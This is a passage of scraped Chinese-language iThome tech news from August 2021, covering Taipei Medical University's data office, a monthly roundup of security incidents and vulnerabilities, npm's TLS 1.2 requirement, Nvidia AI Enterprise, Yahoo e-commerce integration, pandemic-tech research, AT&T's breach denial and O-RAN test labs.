<p>這時，為建立符合使用者需求的資料集，數據處會先找出資料集的組成特徵，比如某疾病涵蓋的人口、病患性別比、壽命分類，甚至是超過特定就醫次數的病患數這類細緻特徵。</p> <p>接著就進入建置階段。他們遵循敏捷開發Scrum精神，以每個專案最少3人、最多7人的規模建置資料集。這對擁有20多名人力的數據處來說恰到好處，既不占用過多人力，也不至於不足。</p> <p>過程中，他們每1、2周就檢視進度，以這種小而美、邊執行邊修正的方式，來完善資料集。許明暉更強調：「我們不追求一次做到最完美，而是資料集整理到一定程度後，就先開放申請，讓團隊跟著使用者一起使用。」正是這股跟著使用者一起做的精神，讓數據處更能根據使用者回饋，進一步精進資料集。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/1039-%E5%8C%97%E9%86%AB-CDO-%E6%94%9D%E5%BD%B1-%E6%B4%AA%E6%94%BF%E5%81%89-600.jpg" style="width: 600px;" /></p> <p><span style="color: rgb(105, 105, 105);"><strong>臺灣這時投入FHIR基因資料標準化，是最好的切入點！─── 臺北醫學大學數據處數據長許明暉</strong>　（攝影／洪政偉）</span></p> <p><span style="font-size:28px;"><strong>用NLP工具協助醫師快速抓出病理報告重點</strong></span></p> <p>不只建置資料集，數據處也會提供AI工具，來優化醫院的臨床作業流程。比如，他們利用一套開源自然語言處理（NLP）模型，打造成可以抓取關鍵文字訊息的AI工具，來加速處理結構鬆散（Free text）的文字型報告。</p> <p>其中最成熟的應用，就是從病理切片報告中，擷取出乳癌三陰性關鍵訊息，並將訊息自動匯出到Excel表格，轉換為結構化資料，來快速提示報告重點、協助醫師決策。</p> <p>「這種三陰性特徵很棘手，」許明暉解釋，三陰性乳癌預後不理想，因此在臨床上備受重視。這類病理報告通常一份數百字，但三陰性特徵不會清楚地集中出現在報告某一處，負責醫師得仔細閱讀所有報告，從不同段落找出這三種特徵才行。</p> <p>因此，透過NLP工具快速從病理報告中整理出這些特徵，就能協助醫生更快制定治療策略，甚至是預測預後。</p> <p>許明暉也希望，這個NLP幫手未來還能更聰明，比如能根據前後文判斷更精準的資訊，「看到醫師寫的數字，就能判斷是年齡、身高還是體重，」他說。</p> <p><span style="font-size:28px;"><strong>第一道防線把關資料合法性，還找來美NIH標竿人物給建議</strong></span></p> <p>打理如此龐雜的健康資料，許明暉透露，數據處還有四大原則來指導。首先是「資料合法性」，他舉例，要取得臨床數據，必須先以知情同意書，告知患者資料去識別化後的用途、取得同意。</p> <p>再來是多元機制原則。比如，醫療資料可用於非營利的教學研究，也能用於藥廠研發新藥等盈利目的，北醫大數據處要做的是，讓患者能選擇資料用途，而非只單純詢問是否願意提供資料。</p> <p>第三個原則是「退出機制」。許明暉解釋，病人既然願意授權資料使用，也應有中途退出的權力。對此，數據處會依意願來調整資料集，刪除中途退出的患者資料、保障退出權力。</p> <p>最後是隱私安全，數據處不僅要將患者資料去識別化，還要確保資料不被有心人士竊取。因此，數據處與資訊處密切合作，由資訊處打理一切IT、資安工作，比如資料湖建置、防火牆設置、運算資源提供等，讓數據處專心負責資料處理工作。</p> <p>但這些還不夠，為進一步與國際接軌，北醫大還請來一位參與過NIH百萬人基因計畫、美國大型電子病歷資料研究計畫的標竿級人物—美國范德堡大學生物統計系主任石瑜，來擔任顧問角色，指導北醫大的數據發展策略，來接軌國際醫療大數據的作法。</p> <p><span style="font-size:28px;"><strong>下一步攻癌症、基因資料FHIR化</strong></span></p> <p>不只藉助標竿大師經驗改善資料管理作法，數據處下一步還要往國際醫療資料交換標準FHIR邁進。這個標準由國際醫療資訊標準協會HL7制定，就像是一套通用的溝通語言，讓不同組織、不同廠牌儀器產出的資料，也能互相溝通。</p> <p>「但這種溝通形式，較適合北美大型市場，對習慣走客製化資料交換規格、規模小的臺灣市場來說，FHIR會推得很辛苦，」許明暉坦言。因此，他們並非要從頭將所有資料轉換為FHIR格式，而是鎖定跨國研究這個目標，來推動FHIR應用，特別是癌症研究資料的FHIR化。</p> <p>他解釋，選在這個時間點投入，是因為以FHIR架構為核心的癌症資料系統mCODE逐年普及，甚至，HL7協會還將mCODE作為旗下FHIR加速器的推廣項目之一，越來越受到各國醫界採用。</p> <p>而且，北醫大數據處加入的OHDSI聯盟，今年更推出能將聯盟OMOP-CDM資料格式自動轉為FHIR格式的工具，讓各成員的數據團隊，能更快建立符合FHIR規格的癌症資料集。對北醫大而言，費了一番功夫將內部資料轉換成聯盟資料的苦功，現在可以很容易地轉換為FHIR格式資料。</p> <p>除了癌症資料，「我們還瞄準基因資料！」許明暉看好這個正在萌芽發展的領域，「美國甚至發起4年計畫，要用FHIR架構推動基因資料標準化！」他直言，基因資料標準化對臺灣非常重要，因為「美國透過4年計畫已逐漸步入正軌，臺灣這時投入，是最好的切入點！」這句話，點出北醫大數據處這位指揮官更遠大的數據願景。</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> CDO小檔案 </span></strong></span></p> <p><span style="color:#3399ff;"><strong>許明暉</strong></span></p> <p><span style="color:#3399ff;"><strong>臺北醫學大學數據處數據長</strong></span></p> <p>學歷：臺北醫學大學醫學科學研究所博士畢業</p> <p>經歷：2005年擔任萬芳醫院醫療資訊副處長，三年後轉任臺北大學資訊長，2013年進入衛福部資訊處，擔任首任處長。2019年回到北醫體系，擔任北醫大數據處數據長，去年起更擔任HL7臺灣理事長</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 機關檔案 </span></strong></span></p> <p><span style="color:#3399ff;"><strong>臺北醫學大學</strong></span></p> <p>● 成立時間：1960年</p> <p>● 學校宗旨：以培育兼具人文關懷、創新能力，及國際觀的生醫人才，從事醫療保健、生命科學研究，及服務社會之目標為宗旨</p> <p>● 網址：<a href="http://www.tmu.edu.tw">www.tmu.edu.tw</a></p> <p>● 地址：臺北市信義區吳興街250號</p> <p>● 員工數：約1,700人</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 數據處檔案 </span></strong></span></p> <p>● 直屬主管：數據長許明暉</p> <p>● 數據處名稱：臺北醫學大學數據處</p> <p>● 數據處人數：23人</p> <p>● 數據處分工：數據處下設四中心，包括臨床數據中心、健康資料加值暨統計中心、校務研究中心、生物資訊中心，以整合臨床資料庫、健保資料庫、校務資料庫與應用資料庫為目的，為全校師生與附屬醫院同仁提供即時優質的研究資訊服務</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 數據處大事記 </span></strong></span></p> <p>● 2019年：率先全國成立校院數據處</p> <p>● 2020年：3月提供臨床資料庫釋出服務；5月建立TMU Disease BI平臺，提供研究者隨時查詢院內診斷、手術、用藥等臨床資訊，同月串接本校附屬醫院癌症登記檔，並開放申請；7月串接衛福部死亡登記檔；12月以「OHDSI Taiwan Chapter」身分加入國際健康醫療數據聯盟OHDSI</p> <p>● 2021年：8月組織重整，數據處新成立生物資訊中心，將「統計中心」及「健康暨臨床研究資料加值中心」整併為「健康資料加值暨統計中心」</p> <p> </p> </div></div></div><div class="field field-name-field-image field-type-image field-label-hidden"><div class="field-items"><div class="field-item even"><img src="https://s4.itho.me/sites/default/files/1039-bei_yi_-cdo-she_ying_-hong_zheng_wei_-960.png" width="960" height="420" alt="" title="臺北醫學大學數據處數據長許明暉　（攝影／洪政偉）" /></div></div></div>
2021/8/26 07:00作者王若樸https://www.ithome.com.tw/people/146306
2021年8月10大資安新聞
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>整個8月出現了相當多重大的資安事故，以及許多影響範圍甚廣的漏洞。值得留意的是不少與物聯網（IoT）設備有關。像是臺灣綜合接入設備（IAD）製造商智易科技（Arcadyan）所生產的路由器，當中曝露的漏洞，不只影響華碩、Buffalo等品牌的多款產品，更是波及許多網路服務供應商（ISP）的設備，漏洞可能影響數百萬臺設備。而瑞昱半導體（Realtek）無線晶片的漏洞，也使得超過200款連網產品受到影響。而物聯網雲端服務平臺Kalay<a href="https://www.ithome.com.tw/news/146258">傳出CVSS風險達9.6分的漏洞</a>，很可能使得採用該平臺的連網設備曝露相關風險。</p> <p>針對連網裝置的攻擊，還有鎖定網路儲存裝置（NAS）而來的事故。先是群暉科技（Synology）發出警告，指出他們<a href="https://www.ithome.com.tw/news/146131">偵測到一波殭屍網路病毒StealthWorker攻擊行動</a>；事隔數日，資安業者Palo Alto Networks揭露勒索軟體eCh0raix（亦被稱為QNAPCrypt）的威力變得更加強大，<a href="https://www.ithome.com.tw/news/146141">能同時針對群暉科技與威聯通科技（QNAP）的NAS下手</a>。</p> <p>而駭客攻擊連網裝置的目的，很有可能是為了接續能針對企業內部發動進一步的攻擊。例如，<a href="https://www.ithome.com.tw/news/146349">殭屍網路病毒Mozi鎖定Netgear、華為、中興（ZTE）等廠牌的網路閘道設備</a>，並具備持續常駐於受害裝置的能力，攻擊者成功控制這種網路閘道設備後，有可能接下來會藉此傳遞漏洞滲透工具，或者是發動勒索軟體攻擊。</p> <p>論及勒索軟體攻擊的部分，國內有技嘉疑似遭RansomEXX攻擊的事故，以及<a href="https://www.ithome.com.tw/news/146292">連鎖餐飲業者鬍鬚張因勒索軟體攻擊而導致客戶資料外洩</a>的情形。而在國外，則有LockBit 2.0這個新興的勒索軟體，不只攻擊IT顧問公司Accenture，<a href="https://www.ithome.com.tw/news/146226">7月在澳洲也出現大量受害組織</a>。但在這些重大事故之外，我們可以看到有一些過往鮮少、甚至是幾乎沒有出現過的勒索軟體攻擊手法，例如，駭客透過LinkedIn找尋內應，以高額分紅希望員工能在公司的重要Windows伺服器執行勒索軟體，也有攻擊者發起結合客服的BazaCall釣魚郵件攻擊，<a href="https://www.ithome.com.tw/news/146037">目的是要在受害者所屬的組織植入Ryuk或Conti勒索軟體</a>。</p> <p>而在企業的IT環境裡，繼上個月Windows列印多工緩衝處理器（Print Spooler）被發現數個PrintNightmare漏洞，本月份則有影響AD網域的PetitPotam漏洞，以及由戴夫寇爾（Devcore）研究員揭露的Exchange漏洞ProxyShell，都相當值得留意後續的發展。</p> <h2><strong><span style="color: rgb(178, 34, 34);">01.</span><a href="https://www.ithome.com.tw/news/146091">近40款智易路由器存在身分驗證漏洞，恐影響數百萬臺設備</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-01.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">02.</span></strong><a href="https://www.ithome.com.tw/news/146236"><strong style="vertical-align: top;">瑞昱無線晶片重大漏洞恐波及逾200款連網設備</strong></a></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-02.jpg" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">03.</span><a href="https://www.ithome.com.tw/news/146339">殭屍網路發動大規模DDoS攻擊，每秒發出逾1,700萬次HTTP請求</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-03.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">04.</span><a href="https://www.ithome.com.tw/news/145919">Windows Server用戶小心！PetitPotam漏洞恐讓攻擊者挾持AD網域</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-04.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">05.</span><a href="https://www.ithome.com.tw/news/146039">戴夫寇爾研究員因揭露ProxyShell等多項Exchange漏洞，獲Pwnie Awards最佳伺服器漏洞獎</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-05.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">06.</span><a href="https://www.ithome.com.tw/news/146069">滲透測試工具Cobalt Strike存在DoS漏洞，可以用來遏阻攻擊行動</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-06.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">07.</span><a href="https://www.ithome.com.tw/news/146295">駭客以百萬美元贖金分紅利誘員工，意圖在企業內部植入勒索軟體</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-07.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">08.</span><a href="https://www.ithome.com.tw/news/146075">技嘉科技傳出遭勒索軟體攻擊</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-08.jpg" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">9.</span><a href="https://www.ithome.com.tw/news/146157">勒索軟體LockBit攻擊IT顧問公司Accenture，要脅限期支付贖金</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-09.png" style="width: 400px; height: 175px;" /></p> <h2><strong><span style="color: rgb(178, 34, 34);">10.</span><a href="https://www.ithome.com.tw/news/146310">日本加密貨幣交易所Liquid驚傳遭駭，駭客偷走近上億美元加密貨幣</a></strong></h2> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/2021-08-10.png" style="width: 400px; height: 175px;" /></p> </div></div></div>
2021/8/25 23:23作者周峻佑https://www.ithome.com.tw/news/146389
Npm註冊表將棄用TLS 1.0和TLS 1.1
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://github.blog/2021-08-23-npm-registry-deprecating-tls-1-0-tls-1-1/">GitHub宣布</a>從2021年10月4日開始，所有和Npm網站和註冊表的連接，包括軟體套件安裝，都必須要使用TLS 1.2以上的版本。GitHub考量服務安全性和隱私性，已經在去年的時候，取消GitHub服務對TLS 1.0和TLS 1.1的支援，而現在輪到Npm，棄用公共Npm註冊表npmjs.com的非HTTPS存取，以及TLS 1.0和TLS 1.1。</p> <p>官方提到，目前Npm註冊表99％的流量都已經使用TLS 1.2，因此他們預計大多數用戶不會受到棄用影響。在0.10版本之後釋出的Node.js二元檔案，都支援TLS 1.2，所以使用最近Node.js和Npm版本的用戶，都不需要進行任何的修改。</p> <p>Npm會從2021年10月4日開始，強制執行最低TLS 1.2限制，在之前官方會採取措施提醒可能受影響的用戶，從8月24日開始，未使用TLS 1.2的用戶，在執行Npm命令的時候，會接受到通知，並且提供棄用公告連結。9月22日便會強制限用TLS 1.2一個小時，到了9月27日便會在當天執行兩次的限用，在9月29日的第三次限用，時間將會長達6小時。</p> <p>用戶可以試著停用TLS 1.0和TLS 1.1，並且從HTTPS端點測試安裝套件，當用戶看到TLS錯誤訊息，便可以升級到當前支援的Node.js版本和使用最新的Npm v7，避免受到棄用影響。</p> </div></div></div>
2021/8/25 20:54作者李建興https://www.ithome.com.tw/news/146381
Nvidia推AI Enterprise平臺可在混合雲環境執行虛擬化AI工作負載
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Nvidia與VMware在長達一年的合作之後，終於發布了一套人工智慧工具和框架軟體套件<a href="https://nvidianews.nvidia.com/news/global-availability-of-nvidia-ai-enterprise-makes-ai-accessible-for-every-industry" target="_blank">Nvidia AI Enterprise</a>，Nvidia AI Enterprise能夠虛擬化人工智慧工作負載，在經Nvidia認證的伺服器系統上運作，可讓用戶以管理傳統應用程式的方式，管理新興人工智慧工作負載。</p> <p>Nvidia AI Enterprise是一個端到端雲端原生的人工智慧和資料分析軟體套件，能夠虛擬化人工智慧工作負載，使其在VMware vSphere上運作，該工具賦予企業在混合雲環境中，快速部署、管理和擴展人工智慧工作負載的能力。</p> <p>該公司提到，Nvidia AI Enterprise供企業開發新型人工智慧應用，並可透過單一平臺進行管理，而且企業還能夠根據資料的位置，無論是在雲端、本地資料中心還是邊緣網路，就近部署人工智慧工作負載。</p> <p>由於Nvidia AI Enterprise使用VMware vSphere，因此讓IT人員能夠以管理傳統企業應用程式相同的方式，輕鬆管理人工智慧工作負載，還能使用大型資料庫和混合雲環境中的工具。目前Atos、戴爾、Gigabyte和超微等公司，都可提供經Nvidia認證，包括A100、A30和A40等GPU系統選擇，使得人工智慧應用程式在vSphere上執行的效能，能和裸機伺服器不相上下。</p> <p>用戶現在可從Nvidia的合作夥伴訂閱Nvidia AI Enterprise，一年訂閱費用每個CPU插槽2,000美元起，永久授權為3,595美元，可加購額外的支援服務。</p> </div></div></div>
2021/8/25 20:57作者李建興https://www.ithome.com.tw/news/146387
Yahoo奇摩打通旗下3大電商平臺App互導流量，拍賣平臺還將導入跨網比價功能
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Yahoo奇摩今日（8/25）宣布，完整打通旗下3大電商平臺的App：拍賣、超級商城和購物中心，要透過流量互導推升業績，來發揮生態圈綜效。消費者現可從任一平臺App一鍵切換，無縫串連至其他平臺。此外，Yahoo奇摩也與比價網站飛比價格合作，打造跨網比價服務，首先會在拍賣平臺展開測試。</p> <p>為快速展現生態圈流量互導的效益，今年４月時，Yahoo奇摩先打通了每月擁有百萬會員的拍賣平臺App，來與超級商城App連結，拓展兩個行動平臺的商品量與多元性。</p> <p>延續4月發布的平臺整合計畫，Yahoo奇摩今日宣布，已於7月再整合購物中心App，完成自家3大電商平臺App的整合作業。如今，消費者只需要使用其中一個Yahoo奇摩電商平臺的App，就可以一鍵切換至不同的平臺消費。而且，如果消費者在其一平臺搜尋商品時，剛好該商品只有在另一個平臺有銷售，搜尋結果會呈現另一平臺的商品資訊，達到平臺間流量互導的作用。</p> <p>Yahoo奇摩觀察流量、金流數據後發現，拍賣平臺擁有最大流量基礎，可以導引流量至購物中心和商城，而購物中心消費含金量最高，來自購物中心的流量可刺激另兩平臺的業績。Verizon Media臺灣董事總經理暨臺灣電商與區域產品事業群副總裁林振德表示，三電商App打通後，平臺之間流量互導轉化成效顯著，最高推升導流業績平均週成長達6成，並表示，未來，會根據使用者流量互導狀況，來擬定下一步產品整合的做法，對營運成長會有更大的幫助。</p> <p>考量三個電商平臺分別有各自的忠誠使用族群，習慣既有的平臺使用者體驗，因此，Yahoo奇摩目前決定維持各平臺App自身的購物流程，並針對跨平臺使用者，提供更多元的商品及商家的選擇，來滿足他們的購物需求。林振德表示，技術團隊過去不斷更新功能，因此，App經過整合後，App大小反而比原先小一些，另外，在平臺共通性功能整合上，技術團隊也做了去重複化的工程，</p> <h2><strong>與飛比價格合作，導入跨網比價服務</strong></h2> <p>4月時，Yahoo奇摩也預告今年在產業跨業合作上，會有所突破，布局開放聯盟，今天，他們對外正式宣布，在開放策略下展開異業合作的嘗試，與比價網站飛比價格合作，共同打造內建於Yahoo奇摩電商平臺的比價引擎，提供消費者跨網比價服務。</p> <p>通過新增比價服務，Yahoo奇摩要串連消費者線上購物的各個行為，從搜尋、比價到實際進行購物，來消弭購物旅程的斷點。Yahoo奇摩分享了一份資策會發布的2020年5月網購消費者意向調查報告，有近27%消費者從比價引擎尋找商品，是第三大獲取商品資訊的管道。林振德表示，比價網站已成為消費者取得產品資訊的主要管道，他進一步道：「比價已經成為消費者網購的必經之路。」</p> <p>Yahoo奇摩會在引擎中整合上億筆全臺跨網商品比價資料，並結合自家熱銷推薦功能，來提供比價功能。實際操作情境是，消費者在搜尋商品關鍵字後，會出現比價功能選項，點選後，就可獲得不僅限上架於Yahoo奇摩三個電商平臺的商品資料，供尋找到最符合需求、最優價格的商品，並可直接點選連結到商品的網頁。林振德表示，這項服務是電商業界的首創。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/Yahoo%E5%A5%87%E6%91%A9%E6%8B%8D%E8%B3%A3%E7%B5%90%E7%9B%9F%E9%A3%9B%E6%AF%94%E5%83%B9%E6%A0%BC%EF%BC%8C%E5%85%A8%E5%8F%B0%E4%B8%8A%E5%84%84%E5%95%86%E5%93%81%E6%90%9C%E5%B0%8B%E6%AF%94%E5%83%B9%E3%80%81%E8%B3%BC%E7%89%A9%E4%B8%80%E7%AB%99%E6%90%9E%E5%AE%9A.jpg" style="width: 600px; height: 645px;" /></p> <blockquote><p><em>圖片來源：Yahoo奇摩</em></p> </blockquote> <p>這個跨網比價功能會先導入拍賣平臺App，進行市場測試。林振德說明，因拍賣平臺不僅有最海量的商品，也有最多搜尋量，因此，先從拍賣平臺開始做嘗試。Yahoo奇摩會隨機挑選5%的拍賣平臺使用者，提供比價功能，進行測試，並視市場趨勢，以及使用者經驗回饋來優化功能。林振德提到，未來不排除拓展比價功能至其他自家電商平臺上。</p> <p>除此之外，Yahoo奇摩也將持續結合Martech、AI與個人化技術，來持續優化商品搜尋結果，以及提供符合消費者需求的折價券、購物金等行銷工具，來協助商家提升業績。</p> <p>針對品牌商家需要更多元方式與消費者接觸的需求，Yahoo奇摩另外還推出了全新的會員經營解決方案「Yahoo粉絲通」，打造類似於Line官方帳號的服務，供商家與消費者連結。這項新服務現階段提供包含群發、一對一私訊、主題群聊等功能，讓商家可以向消費者推播商品資訊與行銷活動，強化會員經營。文⊙黃郁芸</p> </div></div></div>
2021/8/25 18:35作者黃郁芸https://www.ithome.com.tw/news/146388
科技部集結5校展示智慧防疫研究成果，大量活用AI、物聯網科技提升防疫效果，更盼藉此催生出新的精準健康產業
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>由科技部去年中投入成立的防疫科學研究中心，集結臺灣大學、陽明交通大學、成功大學、長庚大學及國防醫學院共5間學校，共同投入COVID-19抗疫和防疫科學研究，並在今日（8/25）公開展示一年來研究中心的成果，而且這些防疫研究或應用成果，迄今已有不少醫院或集中檢疫所拿來採用。，</p> <p>科技部部長吳政忠表示，這次防疫中心的成果展示，不只運用原本學理檢測技術，更把AI、5G、物聯網科技帶進來，運用到防疫所需要的監測、預防、檢驗、醫療，以及零接觸照護，來幫助臺灣防疫做得更好，甚至也有機會在臺灣催生出新的精準健康產業。</p> <p>整體來看，5間大學研究團隊所展示的防疫研究或應用成果，不少都運用上現在當紅AI、大數據、雲端與物聯網相關技術，來發展出各種智慧防疫應用。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/PXL_20210825_024012746.jpg" style="width: 600px; height: 338px;" /></p> <p>像是本土疫情爆發期間，大量檢疫者或確診者集中入住檢疫站，防疫人員不只得時時確認所有人都待在自己的房內，他們身體健康的偵測也很重要，必須隨時注意，所以，成功大學團隊想出新作法，將防疫與物聯網結合，打造生理監測防疫平臺，搭配智慧手環，來持續監測住民健康狀況，包括體溫、心跳、血氧變化等，而且更即時，新化集中檢疫站就有採用這套平臺，一旦偵測有異常，如血氧過低時，系統就會立即告警，護理人員收到通知，能夠馬上反應，將人後送到醫學中心救治。</p> <p>不僅如此，他們後來還打造一站式智慧採檢實驗屋，來強化醫病分流，而且不只提供採檢，在這個實驗屋內還運用AI技術，來提高採檢作業效率，像是以X光檢驗，結合AI影像判讀系統，來幫助醫師快速判讀，一旦發現採檢者的X光片有問題，如顯示肺炎病灶，就能馬上將受檢者進行隔離。這種檢測方式比起PCR檢測更快，不用4到6小時。另外這個實驗屋還可以四處移動。成大醫院兩個月前在自家急診室戶外開始用。</p> <p>陽明交通大學結合AI防疫應用也不少，並且實際落地，像是新北聯醫6月開始使用一套COVID-19血氧監測雲端平臺，能即時監看患者的血氧資訊變化，正是由陽明交通大學團隊與中華電信共同打造，結合AIoT與雲端技術，有別於傳統血氧監測，可以達到更即時監測，幫助醫院找出有隱形缺氧的患者，同時減少第一線醫護人員接觸風險。</p> <p>運用AI找到新冠解方，也是該團隊早期另一項研究成果，該團隊利用AI與大數據分析技術，模擬宿主受病毒感染後的體內細胞變化機制，來與數百種冠狀病毒的蛋白酶3D圖像比對，從中找出可以有效抑制新冠病毒活性的老藥解方，這項成果，後來也在國際頂尖期刊發表，目前進到動物實驗階段。</p> <p>低血氧雲端監測平臺，臺灣大學團隊自己也有研發一套，這套平臺今年7月已提供給部立桃園醫院做使用，用來監測患者生理資訊，目前在該院內集中檢疫所與負壓隔離病房都有用。不僅如此，他們更結合了HoloLens混合實境設備，讓看診醫師不需要進到病房，也能透過護理人員的視角看到現場畫面，即時對患者進行醫療診斷。</p> <p>另外，臺灣大學新創團隊iTech則是開發了各種科技防疫產品，來防堵疫情擴散，像是一款結合AI追蹤及定位的感測器，能用來偵測民眾彼此有無保持安全社交距離。另外還有一款防疫無人載具，則是協助防疫人員來完成公共場所的消毒作業。</p> </div></div></div>
2021/8/25 15:51作者余至浩https://www.ithome.com.tw/news/146377
AT&T否認被駭遭竊7000萬用戶資料
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>上周發生美國電信業者<a href="https://www.ithome.com.tw/news/146273" target="_blank">T-Mobile</a>數百萬用戶資料遭駭客放上暗網出售，事後T-Mobile也證實是資料庫被駭所致。而另一家電信龍頭<a href="https://restoreprivacy.com/att-data-breach-70-million-customers/" target="_blank">AT&T也傳出被駭客入侵</a>，並導致7000萬用戶個資外洩，不過AT&T對此否認。</p> <p>Restore Privacy網站報導，一名「ShinyHunters」的駭客上周在地下網路論壇，出售已取得AT&T 7000萬名用戶的隱私資料。這批資料存取費用為20萬美元，買斷費用則叫價100萬美元。</p> <p>根據駭客張貼出的樣本，他手中的資料疑似包含用戶姓名、手機號碼、住家地址、電子郵件、生日及社會安全碼等，其中後兩者則是駭客解密取得。</p> <p>不過AT&T回覆媒體否認被駭，表示根據該公司調查，在網路上曝光的資訊並不是來自AT&T。</p> <p>這名「ShinyHunters」稍後對媒體指出，AT&T的反應並不令人意外，他相信直到他公布一切資料之前，這家電信業者會持續否認。</p> <p>報導指出，這名駭客之前也曾涉及其他知名公司的資料外洩案。這些案件包括印尼電商平臺Tokopedia外洩9100萬用戶帳號資料；網路文學平臺Wattpad洩露2.7億筆用戶紀錄；線上PDF轉檔服務Nitro PDF和線上圖像編輯服務Pixlr各外流了7700萬筆用戶紀錄及190萬用戶帳號資料；微軟則被竊走了500GB的程式原始碼並上網兜售。</p> <p>T-Mobile本周證實該公司系統是因為有安全漏洞，使駭客得以存取近5,000萬名用戶包括姓名、生日、社會安全號碼的資料。</p> </div></div></div>
2021/8/25 17:34作者林妍溱https://www.ithome.com.tw/news/146382
中華電信聯手耀登旗下O-RAN認證實驗室，要助國產O-RAN產品搶攻5G市場
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>國內提供天線、實驗室驗測服務的耀登集團旗下耀睿實驗室，近期獲得O-RAN聯盟認證為OTIC(Open Testing and Integration Centre)實驗室，未來將和中華電信合作，協助國內業者搶攻全球5G開放網路商機。</p> <p>耀登集團旗下原本就有實驗室，提供4G設備驗測服務，此次耀睿實驗室獲得國際O-RAN聯盟認證，成為全球5家合格的OTIC實驗室之一，其中4家位於德國、義大利、西班牙及法國，具有電信營運商背景，耀睿為唯一一家獨立實驗室，也是亞洲第一家獲得O-RAN聯盟認證的OTIC實驗，該實驗室提供一致性測試、互通性測試、端對端測試，以驗證不同廠牌的網元設備介接、互通性，加速5G開放網路的發展。</p> <p>中華電信與耀登集團合作，提供國產O-RAN設備兩階段測試服務。第一階段先在耀睿實驗室進行個別網元的功能、互通性、效能、壓力及資安等測試，第二階段在中華電信研究院進行場域性的實網整合測試。</p> <p>在此之前，國內業者以開放網路技術開發的白牌基地臺，因缺乏國際O-RAN聯盟認證的驗測單位，業者需要和電信營運商個別合作，提供樣品供其測試，測試結果不一定回饋給業者，現在耀睿實驗室獲認證為OTIC實驗室後，先在實驗室測試個別的網元設備，再通過中華電信研究院的場域實網整合測試，等於獲得O-RAN聯盟與電信商認證。據了解，目前約有10多家業者將參與測試。</p> <p>耀登科技董事長張玉斌表示，耀睿獲得O-RAN聯盟認證為合格OTIC實驗室，相較於其他4家合格認證實驗室在歐洲，電信商自身測試需要，耀睿為第三方OTIC實驗室，雖然目前O-RAN標準尚未完全底定，但未來兩三年之內，耀睿有機會發出第一張認證。</p> <p>不只是網通設備一致性、互通性測試，鑑於開放網路的資安風險，耀睿也提供網通設備的資安測試。</p> <p>張玉斌指出，5G需要部署大量基地臺，O-RAN將為台灣的產業帶來轉型契機，耀睿獲得O-RAN聯盟認證為合格實驗室，有助於國內業者打進全球5G市場。而與中華電信合作，將進一步加速5G開放網路的系統整合速度。</p> 